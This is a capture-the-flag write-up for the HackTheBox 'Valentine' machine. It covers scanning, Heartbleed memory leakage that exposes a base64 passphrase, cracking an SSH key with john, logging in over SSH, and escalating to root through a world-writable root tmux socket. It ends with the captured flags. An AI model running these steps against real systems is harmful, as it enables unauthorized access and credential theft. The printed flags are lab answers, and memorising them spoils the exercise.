Nmap Results
# Nmap 7.93 scan initiated Sat Apr 8 00:43:54 2023 as: nmap -Pn -p- --min-rate 10000 -A -oN scan.txt 10.10.10.79
Nmap scan report for 10.10.10.79
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 964c51423cba2249204d3eec90ccfd0e (DSA)
| 2048 46bf1fcc924f1da042b3d216a8583133 (RSA)
|_ 256 e62b2519cb7e54cb0ab9ac1698c67da9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
|_ssl-date: 2023-04-08T04:44:27+00:00; 0s from scanner time.
|_http-server-header: Apache/2.2.22 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/8%OT=22%CT=1%CU=39263%PV=Y%DS=2%DC=T%G=Y%TM=6430F12B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=8)OPS(
OS:O1=M53CST11NW4%O2=M53CST11NW4%O3=M53CNNT11NW4%O4=M53CST11NW4%O5=M53CST11
OS:NW4%O6=M53CST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)ECN(
OS:R=Y%DF=Y%T=40%W=3908%O=M53CNNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M53CST11NW4%RD=0
OS:%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RI
OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 13.56 ms 10.10.14.1
2 13.64 ms 10.10.10.79
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 8 00:44:27 2023 -- 1 IP address (1 host up) scanned in 33.73 seconds
Service Enumeration
TCP/80

In the nmap
output for TCP/443
, the certificate has a CN
of valentine.htb
. I tested it as a virtual host, but there doesn't seem to be any noticeable difference when navigating using a hostname.

Gobuster Enumeration
gobuster dir -u http://10.10.10.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -r -t 100 -o gobuster.txt
/index.php (Status: 200) [Size: 38]
/index (Status: 200) [Size: 38]
/dev (Status: 200) [Size: 1097]
/encode (Status: 200) [Size: 554]
/encode.php (Status: 200) [Size: 554]
/decode.php (Status: 200) [Size: 552]
/decode (Status: 200) [Size: 552]
/omg (Status: 200) [Size: 153356]
/dev


To do item three and four are pretty interesting, sounds like encoding/decoding might be occurring server-side at this point.




I'm going to hang onto this hash and enumerate some more.
/encode, /decode
Upon first glance at the directory structure and the server responses, it looks like there are scripts at:
http://10.10.10.79/decode.php
http://10.10.10.79/decode/decode.php
http://10.10.10.79/decode/encode.php
http://10.10.10.79/encode.php
http://10.10.10.79/encode/encode.php
http://10.10.10.79/encode/decode.php
What's really happening here is that the server is redirecting the client based on the directory. So, any file name under /decoder
redirects to /decoder/decoder.php
, and vice-versa for the /encoder
directory.
I tried some different PHP payloads to see how the server parses the inputs, but it doesn't seem vulnerable to any kind of command injection or file inclusion at the moment. Time to enumerate some more.
/omg

TCP/443
More Enumeration
TCP/443
looks to be serving the same content as TCP/80
. I re-ran a nmap
scan on the open ports to enumerate some more.
sudo nmap -Pn -p80,443,22 --min-rate 10000 --script vuln 10.10.10.79
This bit from the output stuck out to me:
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Testing Heartbleed
Looking at the omg.jpg
image during the initial enumeration, it's very clear that I should be focusing on the Heartbleed SSL/TLS vulnerability.
Heartbleed isn't a vulnerability in the web server itself. It's actually happening at the transport layer, where the server and client complete a handshake before sending data at the application layer.
This is a really nice write-up on the vulnerability here:

In short what's happening with this exploit is:
- We tell the server that we've sent
<num_bytes>
of data - The server doesn't verify and processes the request
- Since the request is empty, nothing is processed in the memory of the server application
- Thus, when the server replies, the server returns data from memory that it otherwise shouldn't be reading
- Since the web server is the application running the OpenSSL stack, it's possible that sensitive information could be leaked from memory on the server
There are also some Heartbleed exploits on Exploit Database.

searchsploit -m 32764


This bit is very interesting:
00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F 1/decode.php..Co
00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C ntent-Type: appl
0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F ication/x-www-fo
0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43 rm-urlencoded..C
0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 ontent-Length: 4
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 2....$text=aGVhc
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 nRibGVlZGJlbGlld
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D B6 mV0aGVoeXBlCg==.
That's very clearly a base64-encoded payload being send to the decode.php
script on the server. It seems like we're getting some log data back in the Heartbleed response. Let's try and decode the data.
echo 'aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==' | base64 -d

Cracking the SSH Hash
echo 'heartbleedbelievethehype' > pass.txt
john --wordlist=pass.txt ssh-hash

The only problem here is we have a key, but don't have a username. We could try root
or hype
— since the filename on the web server is hype_key
, but outside of that, we'd have to bruteforce with a username list.

I get an error when trying to SSH with the key: sign_and_send_pubkey...
. I imagine it has something to do with the age of the box and outdated SSH ciphers. Time to Google for a workaround.
Looks like we can tack on an option with the SSH command:
ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa -i ./ssh-key hype@10.10.10.79

And, we're in!
Exploit
A server vulnerable to the Heartbleed vulnerability leaked a password — which in combination with a SSH private key file — allows an attacker to authenticate to the SSH server running on the target.
At a minimum, Heartbleed is the vulnerability in need of most urgent patching. Beyond that, developers should ensure that sensitive folders are not globally readable, let alone storing SSH keys in web directories anyway.
Post-Exploit Enumeration
Current User
Click to expand
uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)
Sorry, user hype may not run sudo on Valentine.
OS & Kernel
Click to expand
Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
Users
Click to expand
hype:x:1000:1000:Hemorrhage,,,:/home/hype:/bin/bash
Groups
Click to expand
cdrom:x:24:hype
dip:x:30:hype
plugdev:x:46:hype
hype:x:1000:
sambashare:x:124:hype
Network
Interfaces
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:50:56:b9:db:34 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.79/24 brd 10.10.10.255 scope global eth0
inet6 dead:beef::2932:bdef:12e3:8847/64 scope global temporary dynamic
valid_lft 86397sec preferred_lft 14397sec
inet6 dead:beef::250:56ff:feb9:db34/64 scope global dynamic
valid_lft 86397sec preferred_lft 14397sec
inet6 fe80::250:56ff:feb9:db34/64 scope link
valid_lft forever preferred_lft forever
ARP Table
N/A
Routes
N/A
Open Ports
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
Ping Sweep
N/A
Processes
Click to expand
root 1022 0.0 0.1 26416 1684 ? Ss 09:30 0:06 /usr/bin/tmux -S /.devs/dev_sess
Services
Click to expand
No interesting services
Scheduled Tasks
Click to expand
No scheduled tasks, or they're nested under other users' crontabs
Interesting Files
/.devs/dev_sess
srw-rw---- 1 root hype 0 Apr 10 09:30 /.devs/dev_sess
Privilege Escalation
Looking at the enumeration of the running processes, the tmux
session running as root
under /.devs/dev_sess
was clearly a clue.
root 1022 0.0 0.1 26416 1684 ? Ss 09:30 0:06 /usr/bin/tmux -S /.devs/dev_sess
So, I ran the exact same command in my hype
session, since I clearly had rw
privileges to that session file.

Nice! We're done here.
Flags
User
ec9421750d6906c0af16c5f961069b66
Root
bc7076be0bdc81d825e8c921b29a17ea